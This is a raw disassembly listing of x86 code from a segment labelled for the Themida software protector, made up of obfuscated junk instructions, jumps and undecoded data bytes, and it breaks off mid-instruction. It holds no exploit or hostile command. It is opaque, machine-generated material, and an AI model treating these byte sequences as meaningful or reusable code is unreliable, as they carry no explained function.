--------------------------------------------------------------------------- loc_54A8B3: ; CODE XREF: Themida_:0054DC3Aj xor [esp], edi xor edi, [esp] xor [esp], edi not edi xchg edi, [esp] pop ebx shr ebx, 5 sub ebx, 1 push 0 sub [esp], ebx pop ebx sub ebx, 0E7D810CFh push eax mov eax, 20h add eax, edi xor [eax], ebx jmp loc_548DF7 ; --------------------------------------------------------------------------- aIrh db 'ŕh',7,0Bh,0 dd 243C8900h, 14CD6853h, 0E95B6750h, 0FFFF9C92h, 0E904EC83h dd 0FFFFF853h, 224548Ah, 2245C88h, 0D2F65B66h, 0E9241486h dd 0FFFFD4AFh ; --------------------------------------------------------------------------- loc_54A918: ; CODE XREF: Themida_:0054652Cj add ecx, 0FF828CDh add ecx, edx sub ecx, 0FF828CDh add ecx, 4FE2407Ah pop edx mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp and eax, ecx jmp loc_544A2A ; --------------------------------------------------------------------------- loc_54A948: ; CODE XREF: Themida_:00545AEEj add esi, 4 xchg esi, [esp] pop esp add esp, 4 push ecx push esp mov ecx, [esp] add esp, 4 add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp mov [esp], ecx push edi push 550F7880h pop edi jmp loc_547065 ; --------------------------------------------------------------------------- db 83h dd 0BB5304C4h, 4, 71E9DF29h db 0C1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A98F: ; CODE XREF: Themida_:00547FBBj add esp, 4 shr eax, 18h xor eax, ecx push 6663h mov [esp], eax jmp loc_54F371 ; --------------------------------------------------------------------------- db 58h dd 5B59CA88h, 8B66D020h, 91E92414h, 57000019h, 1D67E9h db 0 ; --------------------------------------------------------------------------- loc_54A9BD: ; CODE XREF: Themida_:0054AAF5j mov esp, [esp] inc dword ptr [esp] pushf jmp loc_544022 ; --------------------------------------------------------------------------- db 87h, 4, 24h dd 0A737E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A9D2: ; CODE XREF: Themida_:00546F90j add ebp, 2 xchg ebp, [esp] pop esp push small 3644h mov [esp], bx mov bl, 58h sub al, 0BFh add al, 8Dh add al, bl sub al, 8Dh push cx mov ch, 0BFh add al, ch pop cx mov bx, [esp] jmp loc_547708 ; --------------------------------------------------------------------------- db 56h dd 0F7373ABEh, 2C815675h, 0E2308D24h, 8D05582Bh, 5E2BE230h dd 15ABD55h, 0D5F742A8h, 5108E5C1h, 0FF998CE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AA25: ; CODE XREF: Themida_:005495B7j add dl, bh add dl, 3Fh mov ebx, [esp] add esp, 4 sub al, 88h add al, dl add al, 88h mov dx, [esp] add esp, 2 push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_54D9D7 ; --------------------------------------------------------------------------- dd 0A1E9C831h, 87000016h, 0BE92434h db 24h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA63: ; CODE XREF: Themida_:00548291j mov edx, esp jmp loc_548036 ; --------------------------------------------------------------------------- dw 433h dd 24043124h, 8B240433h, 8B662424h, 0EC812404h, 4, 89243489h dd 4EC81E6h, 89000000h, 0E952241Ch, 0FFFFDFBEh, 81242C89h dd 4ECh, 24248900h, 4BF57h, 7C010000h, 5D5F0424h, 4C581h dd 0EC810000h, 4, 0E9240489h, 3884h, 240C8B66h, 0FFE7AEE9h dd 9DC681FFh, 2934BDF7h, 0B9515EF0h, 53784C09h, 587EC181h dd 0C1812CFFh, 423F4D61h, 0FFCFBCE9h, 0C8966FFh, 0E882E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AAF2: ; CODE XREF: Themida_:0054B2B5j pop dword ptr [esp] jmp loc_54A9BD ; --------------------------------------------------------------------------- dw 99B9h dd 0E90BCC37h, 0FFFFB40Ah ; --------------------------------------------------------------------------- loc_54AB04: ; CODE XREF: Themida_:0054D42Fj push esi jmp loc_5446A0 ; --------------------------------------------------------------------------- dw 489h dd 0B4D2E924h, 3C8BFFFFh, 0E6895624h, 4BD55h, 0C6810000h dd 11D24C00h, 18E9EE01h, 0BB00004Bh, 6A5A7C8Ch, 0A6EB814Bh dd 120BA58h, 2E84E9D8h, 0E7C10000h, 58B95104h, 81578018h dd 6CCB75C1h, 0AAEF819Ah, 12A1E09h, 0AAC781CFh, 592A1E09h dd 0B842B605h, 2DF8017Ah, 7AB842B6h, 8B2434FFh db 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push edx mov edx, 3D7C7265h or edx, 5C315FD2h jmp loc_54FEB6 ; --------------------------------------------------------------------------- dw 0CA87h dd 0FFBD0DE9h, 4B850FFh, 1000000h, 58042444h, 0E9243C8Bh dd 460Dh ; --------------------------------------------------------------------------- loc_54AB9C: ; CODE XREF: Themida_:0054D353j add ecx, 4 sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ebx jmp loc_549E94 ; --------------------------------------------------------------------------- aVnmysv6 db 'żvNŹyé˘6',0 db 0 ; --------------------------------------------------------------------------- loc_54ABC3: ; CODE XREF: Themida_:005498DCj neg dl shr dl, 5 jmp loc_54421A ; --------------------------------------------------------------------------- db 68h, 4Fh, 16h dd 5DE94218h, 0C1FFFFD2h, 0BF5703E6h, 7E791A6Ch, 6650F781h dd 85E91B5Dh, 81000026h, 0CC3C39C7h, 9DB2E918h, 74FFFFFFh dd 348B0424h, 98B2E924h, 3487FFFFh, 4895C24h, 0E8BA5224h dd 0B84BDB07h, 4BDB07ECh, 535AD031h, 0B059C2BBh, 0F2EB811Dh dd 1116A07h, 0D8ECE9DAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AC2A: ; CODE XREF: Themida_:0054530Bj sub edi, 0AE8C965Ch mov eax, edi jmp loc_545B12 ; --------------------------------------------------------------------------- db 68h dd 0 dd 0C9240480h, 80241428h, 8AC9242Ch, 0C4832414h, 0F6CAFE04h dd 54EA80D2h, 34FFD030h, 432E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AC5E: ; CODE XREF: Themida_:00549CACj mov ecx, 1F124DECh not ecx xor ecx, 0A831C02h jmp loc_54E22A ; --------------------------------------------------------------------------- dd 255D235h, 5280050Eh, 0BF5706FBh, 2EBAF05Fh, 0FFC534E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AC85: ; CODE XREF: Themida_:0054A7C1j add esp, 4 shl edi, 7 shl edi, 6 not edi jmp loc_54675A ; --------------------------------------------------------------------------- dd 1BB25266h, 8B66D128h, 89572414h, 4C781E7h, 81000000h dd 2C7h, 243C8700h, 0F268665Ch, 1C896608h, 0B2B25224h dd 8008E2C0h, 0E2C061F2h, 0D1B05005h, 8858C200h, 0A00CE9D3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ACD6: ; CODE XREF: Themida_:0054D6B1j push dword ptr [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 add esp, 4 or eax, eax jz loc_54CCFF push eax sub esp, 4 jmp loc_54570C ; --------------------------------------------------------------------------- loc_54ACFF: ; CODE XREF: Themida_:00547A27j push dword ptr [esp] jmp loc_54887C ; --------------------------------------------------------------------------- db 81h dd 2D708AC1h, 6AE95D12h, 5EFFFFB9h, 5ED6E981h, 0F929439Ah dd 294DE9h, 24248900h, 0B41E9h, 243C8900h, 4BFh, 5FFA8900h dd 536CE9h, 58C60100h, 0FFCBB7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AD41: ; CODE XREF: Themida_:005448FEj push 52FFh mov [esp], ebx push ecx jmp loc_54D833 ; --------------------------------------------------------------------------- db 8Bh dd 4892424h, 92C8E924h, 0C33FFFFh, 0A174E924h, 5055FFFFh dd 544BE2B8h, 22D53561h, 0E0C12FA6h, 26283508h, 0C589BF8Fh dd 81D5F758h, 0A6425DE5h, 0DAF58107h, 8114FA60h, 0EFFEC5C5h dd 5DE801EBh, 2404335Fh, 0E9240431h, 0FFFFB180h ; --------------------------------------------------------------------------- loc_54AD9C: ; CODE XREF: Themida_:0054A5D4j add ecx, 1CAC76E1h mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add ecx, 2 xor ecx, [esp] xor [esp], ecx jmp loc_546B2D ; --------------------------------------------------------------------------- dw 0B0B9h dd 5306A729h, 0FF934DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54ADD1: ; CODE XREF: Themida_:0054BEF2j push edx sub esp, 4 jmp loc_54DF6C ; --------------------------------------------------------------------------- dw 0E0C1h dd 0FF4A3503h, 0F7E92385h, 0FFFFD2h, 20D4E9EBh, 0C4810000h dd 4, 0FFDCA9E9h, 15F5BFFh, 7E2768D1h, 14890000h, 0BA24h dd 0CA010000h, 0E95A0288h, 0FFFF9646h, 565A5452h, 15526852h dd 815A5E08h, 560F72CAh, 8E2C15Bh, 7204F281h, 81525E1Fh dd 3E462434h, 815E1021h, 213E46F6h, 24148B10h, 104C483h dd 0BE565EF2h, 3EA15A72h, 5A76F681h, 0EA813EA1h, 1AD1415Ah dd 0C281F201h, 1AD1415Ah, 2414875Eh, 0A16E9h db 0 ; --------------------------------------------------------------------------- loc_54AE69: ; CODE XREF: Themida_:0054C39Ej mov ecx, 0C7463C8h mov esi, 0F38B9C39h add esi, ecx jmp loc_54727C ; --------------------------------------------------------------------------- dw 0D329h dd 9EBF575Ah, 8734A84Eh, 0F547E9EFh, 0B0B3FFFFh, 664CC380h dd 50EE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE96: ; CODE XREF: Themida_:00548A35j add ch, 25h sub ch, 82h add bl, 49h jmp loc_547527 ; --------------------------------------------------------------------------- loc_54AEA4: ; CODE XREF: Themida_:0054FBADj add eax, 4 jmp loc_54F7C9 ; --------------------------------------------------------------------------- loc_54AEAE: ; CODE XREF: Themida_:00547D54j push 4 mov ebx, [esp] add esp, 4 add edx, 2E926B91h jmp loc_54A6BF ; --------------------------------------------------------------------------- loc_54AEC7: ; CODE XREF: Themida_:00546420j push ecx mov ecx, esp jmp loc_54A3F1 ; --------------------------------------------------------------------------- db 0ADh dd 0FFF4CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AED5: ; CODE XREF: Themida_:0054F51Bj pop edx jmp loc_5473C2 ; --------------------------------------------------------------------------- db 0C0h dd 0CD8007EDh, 1838E9FAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AEE6: ; CODE XREF: Themida_:0054F8DDj mov esi, 5D3277Ah push ecx mov ecx, 282E1227h neg ecx neg ecx add ecx, 0E05DFD7Eh jmp loc_54CB10 ; --------------------------------------------------------------------------- loc_54AF00: ; CODE XREF: Themida_:00546BAFj shl eax, 2 sub eax, 69262B0Bh push ebp mov ebp, 220EFB36h jmp loc_54DC33 ; --------------------------------------------------------------------------- db 89h dd 0E80158C5h, 4E8835Dh, 8B240487h, 14892424h, 0E3B05024h dd 94E93304h, 59FFFFC5h, 68E18951h, 3E90h, 0BF243C89h dd 51A0765h, 176E9h, 24348900h, 0EC815E54h, 4, 0B8240489h dd 4, 48BC601h, 0BC5DE924h, 0EB83FFFFh, 74FF5304h, 0D6E90424h db 99h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF6F: ; CODE XREF: Themida_:0054F88Fj push 533h mov [esp], edi push 6281756h pop edi shr edi, 2 push edx mov edx, 3F3A3EFBh jmp loc_54FB82 ; --------------------------------------------------------------------------- loc_54AF8B: ; CODE XREF: Themida_:0054E72Ej add ecx, 6838037Ah sub ecx, edx sub ecx, 6838037Ah jmp loc_545D2F ; --------------------------------------------------------------------------- loc_54AF9E: ; CODE XREF: Themida_:0054EFEBj mov ecx, edx jmp loc_544369 ; --------------------------------------------------------------------------- db 81h, 0EFh, 80h dd 81E67974h, 326C80C3h, 81FB0125h, 326C80EBh, 0E9525F25h dd 490h, 0EBD01DB3h, 254FE9h, 24348B00h, 4C481h, 32E90000h dd 81FFFF9Ch, 0F07A89EBh, 243C8B61h, 0E904C483h, 0FFFFCE9Bh dd 8704C683h, 0E95C2434h, 0FFFFF171h ; --------------------------------------------------------------------------- loc_54AFF4: ; CODE XREF: Themida_:00547BF5j ; Themida_:0054DDE4j push esi push ebp jmp loc_548E6B ; --------------------------------------------------------------------------- db 89h dd 0C568243Ch, 0FF503D6Ch, 34FF2434h, 0C4815F24h, 4, 5004C483h dd 3D6CE1B8h, 9C29E950h, 148BFFFFh, 43456824h, 0C890000h dd 1CEEE924h, 33B50000h, 0E8005C04h, 8B665C2Ch, 78E9240Ch dd 0BFFFFFBFh, 4A5014DCh, 2CE9FA29h, 5E000016h, 666EE81h dd 0BD55024Fh, 19CA6D4Fh, 815DEE21h, 2C6301F6h, 5EF38927h dd 0E381E3D1h, 2E5657FAh, 0E381EBD1h, 3ABA43E8h, 2A9FF381h dd 0B02D0BDCh, 559C65Ch, 414F69FDh, 0FD2DD829h, 0E9414F69h dd 194Ch, 4C4815Ah, 80000000h, 0C3803BC3h, 0E9526675h dd 0FFFFC1A6h, 468h, 2434FF00h, 0E789575Dh, 4C781h, 0BCE90000h dd 52FFFFCAh, 0BF754CBAh, 64CA816Fh, 5179E331h, 0B9h, 0E9D12900h dd 0FFFFFAAEh, 0E95BDA01h, 2C42h ; --------------------------------------------------------------------------- loc_54B0DC: ; CODE XREF: Themida_:00544058j mov [esp], esi mov esi, 6BBD5609h add eax, esi jmp loc_54BDDF ; --------------------------------------------------------------------------- db 68h align 10h dd 5A241429h, 6AE9D2F7h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B0FB: ; CODE XREF: Themida_:0054587Cj pop ebx push ecx mov ch, 0AEh sub al, ch pop ecx jmp loc_54F729 ; --------------------------------------------------------------------------- aFssA db 'fSé}A',0 align 2 dw 3C89h dd 569FBF24h, 0C781771Ah, 94B1E0FAh, 4AD9E9h, 6E055F00h dd 0E939B046h, 0FFFFA7BDh, 7326F581h, 0CD817E02h, 6787553h dd 7AED814Dh, 0E97F7FFFh, 4D29h, 0E9240C8Bh, 2C69h, 3D38840Fh dd 0BA520000h, 7A8011D6h, 1312E281h, 0BD55664Fh, 3B34DB2h dd 2C8BEA01h, 4C48124h, 81000000h, 0AE07C1EEh, 81D6011Ch dd 0AE07C1C6h, 0C6015A1Ch, 7ABE5657h, 81635031h, 6B7A6AF6h dd 5EF7897Dh, 0EFC1D7F7h, 98E78108h, 0F70C5159h, 0D7F747D7h dd 0E1CBEF81h, 0BD559A8Dh, 35EE14ECh, 15E6E9h, 2B96600h dd 44816600h, 0C530224h, 246C8166h, 66321602h, 2991E955h dd 0E9550000h, 0FFFFDF45h, 0BF868h, 1A1EE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B1DA: ; CODE XREF: Themida_:005499E2j add edi, esi pop esi jmp loc_54FE58 ; --------------------------------------------------------------------------- loc_54B1E2: ; CODE XREF: Themida_:0054A6F8j mov ebp, 38E9726Fh shr ebp, 4 and ebp, 6BB96EEDh sub ebp, 3880620h add edx, ebp mov ebp, [esp] add esp, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] push 8A1h mov [esp], edi push edx mov edx, 527446F4h jmp loc_54BF7F ; --------------------------------------------------------------------------- loc_54B21D: ; CODE XREF: Themida_:0054DAC6j pop esp mov [esp], ebp push ebp mov ebp, esp jmp loc_54A74E ; --------------------------------------------------------------------------- db 88h, 0CCh, 59h dd 0FFF191E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B231: ; CODE XREF: Themida_:0054CD4Dj pop ebp sub ebp, 49111061h jmp loc_54D1AC ; --------------------------------------------------------------------------- db 1, 0EEh, 8Bh db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg esi, [esp] pop esp and [esp], al pushf jmp loc_544022 ; --------------------------------------------------------------------------- dw 0C1BAh dd 810ED72Fh, 427AADCAh, 84EA814Ah, 520B860Dh, 200E9h db 0 ; --------------------------------------------------------------------------- loc_54B279: ; CODE XREF: Themida_:005500B3j sub ah, 52h mov dl, ah pop eax xor dl, 0C5h shl dl, 1 xor dl, al jmp loc_546FCB ; --------------------------------------------------------------------------- db 1 dd 74295BDEh, 0FF5E0824h, 835B2434h, 55804C4h, 4DEB0DEBh dd 129FBF57h, 0FA2974BFh, 0A3BD555Fh, 0E9278F4Dh, 0FFFFAF42h ; --------------------------------------------------------------------------- loc_54B2B4: ; CODE XREF: Themida_:0054D525j pop esp jmp loc_54AAF2 ; --------------------------------------------------------------------------- loc_54B2BA: ; CODE XREF: Themida_:00546AE9j mov edi, esp add edi, 4 push edx sub esp, 4 jmp loc_54D7D1 ; --------------------------------------------------------------------------- db 0BBh dd 12F914D5h, 1EE9D3F7h, 0BBFFFF9Dh, 1F9E5813h, 0E95EF331h dd 23B8h, 0E7E9F829h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B2EB: ; CODE XREF: Themida_:005490D7j or ebx, 74804E05h push eax jmp loc_549A25 ; --------------------------------------------------------------------------- loc_54B2F7: ; CODE XREF: Themida_:0054E941j neg edx jmp loc_5479A4 ; --------------------------------------------------------------------------- dw 159h dd 0AE956DFh, 0BBFFFF95h, 6731FDh, 835BD909h, 0E981FFE9h dd 677DFCh, 5059C801h, 42474FFh, 24048F58h, 0C8BE0F5Ch dd 2FD668h, 240C8900h, 0FF8CEDE9h, 0E9D800FFh, 0FFFFA8B0h dd 0BE243489h, 37E03EC9h, 268868h, 0E53FE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B34E: ; CODE XREF: Themida_:0054B4F3j push edx push ebp pop edx pop ebp add edx, 6CA075F6h xor ebp, edx jmp loc_54F48E ; --------------------------------------------------------------------------- db 68h dd 3D1Dh, 0BD242C89h, 4EB74F3Ah, 3BF6F581h, 0E5C16395h dd 93E58107h, 5036AF51h, 866361B8h, 208AE92Ah, 3C890000h dd 4BF24h, 0C3810000h, 61F07A89h, 3CE9FB01h, 20FFFFFCh dd 0E95866C1h, 0FFFFB559h, 0E30097B4h, 0CB805866h, 0E0C380FCh dd 805BD908h, 0D1F6BAF1h, 28F3C180h, 0C38059CBh, 80C328C9h dd 0C380C9EBh, 0E95866ADh, 2E7Fh, 89243489h, 0BF5751E6h dd 60583229h, 0FFD27AE9h, 241C31FFh, 0E9241C33h, 2D81h ; --------------------------------------------------------------------------- loc_54B3EC: ; CODE XREF: Themida_:005462E8j pop eax pop ecx push ecx sub esp, 4 mov [esp], ebx pop ecx pop ebx push ebx push edi jmp loc_54FDB6 ; --------------------------------------------------------------------------- dw 815Dh dd 4C5h, 53E95300h, 5100004Ah, 0FFF9B5E9h, 4BF57FFh, 29000000h dd 4875FF8h, 9F7CE924h, 0C381FFFFh, 4, 4B850h, 0C3290000h dd 0FFBBA1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B435: ; CODE XREF: Themida_:0054F134j add esp, 4 push ecx push eax push edx mov dl, 57h shr dl, 1 or dl, 0CEh and dl, 3Ch inc dl xor dl, 0B4h push edx jmp loc_546E1C ; --------------------------------------------------------------------------- dd 2BAh, 0E9D30100h, 2029h, 0E904C483h, 0A93h, 81E18951h dd 4C1h, 4E98300h, 5C240C87h, 30E9E9h, 24048300h, 24148BFFh dd 34C1E9h, 0ADEA8100h, 121457Ah, 0ADC281DAh, 5321457Ah dd 0FFA837E9h, 4C483FFh, 4C681h, 0EC810000h, 4, 89243C89h dd 0A3E950E7h, 81FFFFF3h, 1FF23FEAh, 5AD0290Dh, 0FF8B61E9h dd 21CE81FFh, 81732E09h, 10328FC6h, 5EF00100h, 0FFCA07E9h dd 59C801FFh, 8F66C331h, 8B40E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B4E2: ; CODE XREF: Themida_:00548488j pop edi xor edx, 5587341Fh and edx, 764A3C20h xchg ebp, edx not ebp jmp loc_54B34E ; --------------------------------------------------------------------------- dd 240C8B66h, 2129E9h, 0B5516600h, 66EC8864h, 53D4F659h dd 0FFB00EE9h, 48B66FFh, 4EC8324h, 0FFBB72E9h, 4C683FFh dd 5C243487h, 0B60F66h, 42BF68h, 8DC8E900h, 0EC83FFFFh dd 0C896602h, 207CB524h, 0EDFE9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B542: ; CODE XREF: Themida_:0054719Bj mov ebp, [esp] push 6E58h mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], edi mov edi, 74DC7280h add edi, 0FFFFFFFFh dec edi shl edi, 8 shl edi, 3 jmp loc_544EC3 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 44295B04h, 0E9580424h, 0FFFF8AA2h, 0B908E959h dd 34FFFFFFh, 2434FF24h, 4C48359h, 1495E9h, 4C48300h, 0FFE2B6E9h dd 48B66FFh, 0B56FE924h, 0F128FFFFh, 0B050665Ah, 0FDE9E9EBh dd 0ED81FFFFh, 239050EDh, 814DD5F7h, 3E0A4EC5h, 5DEE89A4h dd 0FF9C7EE9h, 241C87FFh, 0FC0095Ch, 164084h, 4EC8100h dd 89000000h, 0A1682434h, 89000039h, 4BB82404h, 356C055Eh dd 232B31C4h, 241CF750h, 0DC2558h, 52407439h, 0C281E289h dd 4, 0FFB054E9h, 8BF301FFh, 0C4832434h, 241C8704h, 8124248Bh dd 4C6h, 0F9C6E900h, 148BFFFFh db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_545943 ; --------------------------------------------------------------------------- dw 0BF57h dd 78CE05EAh, 55E9FE29h, 0FFFFAEh, 148B66F0h, 0B939E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B64E: ; CODE XREF: Themida_:0054711Fj mov [esp], esi push edx mov edx, 390B5D9Dh jmp loc_547F95 ; --------------------------------------------------------------------------- loc_54B65C: ; CODE XREF: Themida_:00546D15j mov [esp], ecx mov ecx, 7BA83BFDh jmp loc_545DFF ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 592434FFh, 2CC368h, 24148900h, 0F8E9E289h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B67F: ; CODE XREF: Themida_:005484BAj add ecx, 197472C0h add ecx, edi sub ecx, 197472C0h push dword ptr [ecx] push edi mov edi, 5ED05F50h xor [esp+4], edi pop edi jmp loc_546232 ; --------------------------------------------------------------------------- loc_54B69F: ; CODE XREF: Themida_:0054A24Bj add eax, 4 xchg eax, [esp] jmp loc_54908B ; --------------------------------------------------------------------------- dd offset dword_593468 dw 8900h dd 0E589242Ch, 4C581h, 0F8E90000h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B6BF: ; CODE XREF: Themida_:0054F7EBj mov [esp], esi mov esi, 2FBD16EBh xor [esp+4], esi jmp loc_5459A9 ; --------------------------------------------------------------------------- dd 240C8B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 695Bh mov [esp], esi jmp loc_546E25 ; --------------------------------------------------------------------------- dd 8951E6D1h, 4C181E1h, 83000000h, 0C8704E9h, 0C4E95C24h dd 8BFFFFE6h, 0C481241Ch, 4, 582434FFh, 0FFB576E9h, 5E5C1FFh dd 607EBA52h, 0E6E92AE0h, 8B000022h, 54552404h, 81242C8Bh dd 4C4h, 4C58100h, 0E9000000h, 41B8h, 28479735h, 1E1A3510h dd 12D6CA6h, 55000000h, 0AD0377BDh, 78CD814Dh, 0C11AD321h dd 0ED8108E5h, 761F0C06h, 44B6E9h, 2474FF00h, 48F5804h dd 0E973E924h, 34B9FFFFh, 0E96E1D29h, 0FFFFD659h ; --------------------------------------------------------------------------- loc_54B774: ; CODE XREF: Themida_:005455B4j inc ecx shl ecx, 7 sub ecx, 4EF9E7EEh sub edi, ecx jmp loc_54C2EC ; --------------------------------------------------------------------------- db 1, 0FBh, 8Bh dd 0C481243Ch, 4, 2C381h, 1C330000h, 241C3124h, 5C241C33h dd 9C2404D2h, 0FF8879E9h, 58C328FFh, 1C8BDC30h, 4C48324h dd 3B07E9h db 0 ; --------------------------------------------------------------------------- loc_54B7B9: ; CODE XREF: Themida_:00545DE2j add edx, 63567BAEh jmp loc_546B25 ; --------------------------------------------------------------------------- dd 758E68h, 24048900h, 4EC81h, 24890000h, 24048124h, 4 dd 1BCE9h, 0E0895000h, 405h, 4E88300h, 0E9240433h, 0FFFFA0D8h dd 5355E089h, 0FFCEA8E9h, 240489FFh, 0E4C08DB4h, 8ECC002h dd 8002E4C0h, 1BE9D3F4h, 88FFFFC9h, 241C8B0Bh, 0E9E28952h dd 2DB8h, 4C381h, 0C3810000h, 4, 0E9241C87h, 0FFFFB24Ch ; --------------------------------------------------------------------------- loc_54B834: ; CODE XREF: Themida_:0054BA97j add esp, 4 bt [esp], eax pushf jmp loc_544022 ; --------------------------------------------------------------------------- dd 0D5EF089h, 72456737h, 80298235h, 8BC73145h, 0C4812404h dd 4, 4566E9h, 59C83100h, 0C4D7E940h, 483FFFFh, 0E90424h dd 5D000037h, 8B24048Fh, 7EE92424h, 8B00001Fh, 34FF2424h dd 3685824h, 89000018h, 0FBE92404h, 81FFFFC2h, 4C2h, 4C28300h dd 0FFDC1AE9h, 877CE9FFh, 0C181FFFFh, 69025D0Eh, 74FF515Dh dd 39E90424h db 93h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B8B7: ; CODE XREF: Themida_:00544A38j push ebp mov ebp, 4 sub eax, ebp pop ebp xchg eax, [esp] jmp loc_54976E ; --------------------------------------------------------------------------- loc_54B8C8: ; CODE XREF: Themida_:00549BDAj push edx jmp loc_54E67E ; --------------------------------------------------------------------------- loc_54B8CE: ; CODE XREF: Themida_:0054817Cj mov eax, 59F819BEh mov edi, 0DE7668D9h jmp loc_54E550 ; --------------------------------------------------------------------------- loc_54B8DD: ; CODE XREF: Themida_:0054C7CDj mov [esp], esi jmp loc_54BDB9 ; --------------------------------------------------------------------------- db 0BAh, 4, 0 dd 0D0010000h, 4E8835Ah, 8B240487h, 1C892424h, 68E38924h dd 4BECh, 0FFFA81E9h, 2BEFFh, 0F0890000h, 98FBE95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B912: ; CODE XREF: Themida_:0054E38Ej xchg eax, ebp shr ebp, 3 jmp loc_54FF1B ; --------------------------------------------------------------------------- loc_54B91B: ; CODE XREF: Themida_:00549178j sub ebp, 0B9A4C911h mov edx, ebp jmp loc_547D72 ; --------------------------------------------------------------------------- dd 8107E3C1h, 2F0DCEC3h, 0CB57E93Dh, 0EDC1FFFFh, 0BA524505h dd 1AB95A2h, 0FF9D7EE9h, 0C3805AFFh, 0E9C3280Eh, 4488h dd 4EC815Eh, 0E9000000h, 1505h ; --------------------------------------------------------------------------- loc_54B95C: ; CODE XREF: Themida_:0054D1F5j push ecx push 41CCh mov [esp], eax mov ah, 0F3h mov cl, ah pop eax push eax mov al, 9Dh and al, 1Ah dec al shr al, 5 shr al, 6 sub al, 0CEh xor cl, al pop eax sub bl, 0BDh sub bl, 0E7h sub bl, cl add bl, 0E7h add bl, 0BDh pop ecx mov ecx, [esp] jmp loc_550003 ; --------------------------------------------------------------------------- db 1 dd 0F2015AD6h, 2A3CE9h, 24048B00h, 0E904C483h, 2592h ; --------------------------------------------------------------------------- loc_54B9A8: ; CODE XREF: Themida_:00545822j mov ebp, [esp] add esp, 4 jmp loc_547193 ; --------------------------------------------------------------------------- loc_54B9B3: ; CODE XREF: Themida_:005495AAj xchg edi, [esp] jmp loc_549CA6 ; --------------------------------------------------------------------------- loc_54B9BB: ; CODE XREF: Themida_:0054A7D6j push 75D0h mov [esp], esi mov esi, 2AFE2F82h mov ebx, esi pop esi push esi mov esi, 2AFE2F02h push edi mov edi, 224B5AF1h push edx jmp loc_54921A ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 24066824h, 0E3E90000h, 5FFFF8Ch, 4, 5C240487h, 8104C483h dd 4C2h, 24143300h, 0E9241431h, 0FFFFC2A0h ; --------------------------------------------------------------------------- loc_54BA08: ; CODE XREF: Themida_:0054EBD3j neg eax push edi mov edi, 4B823090h inc edi neg edi and edi, 1E1176C4h add edi, 3B05220Eh sub edi, 63B299Fh jmp loc_54DBB1 ; --------------------------------------------------------------------------- dw 3431h dd 24343324h, 0F7243431h, 0E68956D6h, 0E904EC83h, 2BE5h dd 8704C683h, 0F5C2434h, 9C51C8AFh, 0FF85D1E9h, 240487FFh dd 24048F5Ch, 0E924248Bh, 0FFFF865Ch ; --------------------------------------------------------------------------- loc_54BA60: ; CODE XREF: Themida_:0054DF85j push edx push edx jmp loc_544CD5 ; --------------------------------------------------------------------------- db 53h dd 0E939E0BBh, 5BDD0120h, 2C5835Eh, 27F768h, 242C8900h dd 42474FFh, 83242C8Bh, 48F04C4h, 2CD35C24h, 8FE99C24h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BA93: ; CODE XREF: Themida_:00548A25j xchg ebp, [esp] pop esp jmp loc_54B834 ; --------------------------------------------------------------------------- dd 0A72045BAh, 46C2813Dh, 0C13F6B47h, 76E905E2h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BAAF: ; CODE XREF: Themida_:0054A4C4j xor esi, 0F8F9BFBAh push ecx mov ecx, 43AF6457h not ecx push ebx mov ebx, 3ED5233Ah shr ebx, 2 dec ebx shl ebx, 2 neg ebx xor ebx, 0F946FE15h jmp loc_5494EF ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 8B24048Fh, 0F662424h, 9C2404BBh, 0FF8531E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BAF1: ; CODE XREF: Themida_:00547E4Bj push eax mov eax, 50D13929h shr eax, 8 push ecx mov ecx, 47800566h add ecx, 42B92624h push eax mov eax, 2A721CDFh or 